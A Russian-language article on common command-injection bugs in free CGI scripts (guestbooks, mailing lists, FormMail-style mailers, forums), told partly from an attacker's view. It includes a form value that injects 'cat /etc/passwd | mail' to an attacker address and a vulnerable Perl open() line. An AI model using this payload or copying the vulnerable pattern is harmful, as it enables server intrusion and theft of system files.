Обзор некоторых уязвимостей в CGI-скриптах

 

В данной статье я хочу поведать вам о наиболее часто встречающихся уязвимостях CGI-скриптов.

##################################
# Гостевая книга. #
##################################

Заходим мы на сайт. И чем-то он нам не понравился. Рождается идея настройки сайта «под себя».

Что мы делаем? Сканируем сайт на цги-баги: ничего.
Как ничего, ведь есть же форма, и не одна.
Открываем сырцы и смотрим формат передачи данных скрипту.

Итак, мы имеем гостевую книгу: данные из формы передаются cgi-скрипту, видимо в гостевухе есть функция отправки письма. Судя по всему, письмо автору постинга с уведомлением о получении ответа.

Чего-то недостает. Конечно исходника цги-скрипта. Смотрим вниз гостевухи: powered by XXX. Бежим в поисковик, и через пару минут уже читаем нужный нам исходник.

Предположения подтвердились: как показывает исходник, гостевуха высылает уведомление автору постинга, о том, что ему добавлен ответ.

$amass[1] — электронный адрес человека, на сообщение которого вы отвечаете
$mess[0] — видимо, какой-то идентификатор сообщения
$FORM{‘mas’} — видимо, имя автора нового сообщения

После заполнения формы (желательно заполнить все поля во избежание дальнейших траблов) скрипт создает из введенных данных сообщение и добавляет его в базу base.dat, после чего происходит отправка письма на email из поля «to».

Непосредственный баг заключается в отсутствии проверки данных, полученных из формы на опасные символы. Многие уже догадались, где есть ошибка.

Теперь создаем поддельную форму. Дальше просто ждем прибытия passwd на свое мыло.

##################################
# Списки рассылки #
##################################

Следующий баг, о котором я хочу вам рассказать, встречается зачастую в свободно распространяемых скриптах для организации списка рассылки на сайтах.

При добавлении пользователя в список рассылки, ваши данные отправляются на e-mail администратору через скрипт.

##################################
# Forms Data to E-mail #
##################################

Это целый класс свободно распространяемых скриптов для отправки данных формы
на e-mail. Очень часть используется на web-сайтах для получения отзывов
о работе сайта.

Баг заключается тут:

open(MAIL,»$mailprog $FORM{‘recipient’}»)

Соответственно, вводя в поле name=recipient значение value=»; cat /etc/passwd | mail hax0r@tut.com» можно добиться отсылки паролей на свой ящик.

Remark:
open(MAIL,$mailprog);
print MAIL «To: $FORM{‘recipient’}»

Уже не позволяет выполнять shell команды.

Самый известный скрипт такого класса — Form mail by Matt Wright, в скриптах которого было найдено очень много багов. Но надо, однако, отдать должное программисту, который учится на своих ошибках. Последние версии его скриптов уже пропатчены от этого бага.

##################################
# Форумы #
##################################

Уязвимости такого класса зачастую встречаются и во многих свободно распространяемых форумах.

Возьмем, к примеру, сорс одного форума.

Принцип действия:

Человек заходит на форум, входит в любой subforum и помещает свое сообщение.
Предположим, он зашел в subforum sub01.htm, тогда name=»subnumber» value=»sub01.htm». Для файла sub10.htm value=»sub10.htm»

Ошибка заключается в отсутствии проверки значения $FORM{‘subnumber’}.

##################################
# Summary #
##################################

В статье рассмотрены наиболее часто встречающиеся ошибки свободно распространяемых скриптов, приводящие к выполнению shell команд на сервере. Уделяется особое внимание организации скрытых полей форм, взаимодействия с программой SENDMAIL, а также специфика открытия файлов.

Статья написана для веб-программистов с целью просвещения их о возможных ошибках при написании веб-ПО, а также для системных администраторов, чтобы они внимательнее относились к использованию свободно распространяемых скриптов.

Оставьте комментарий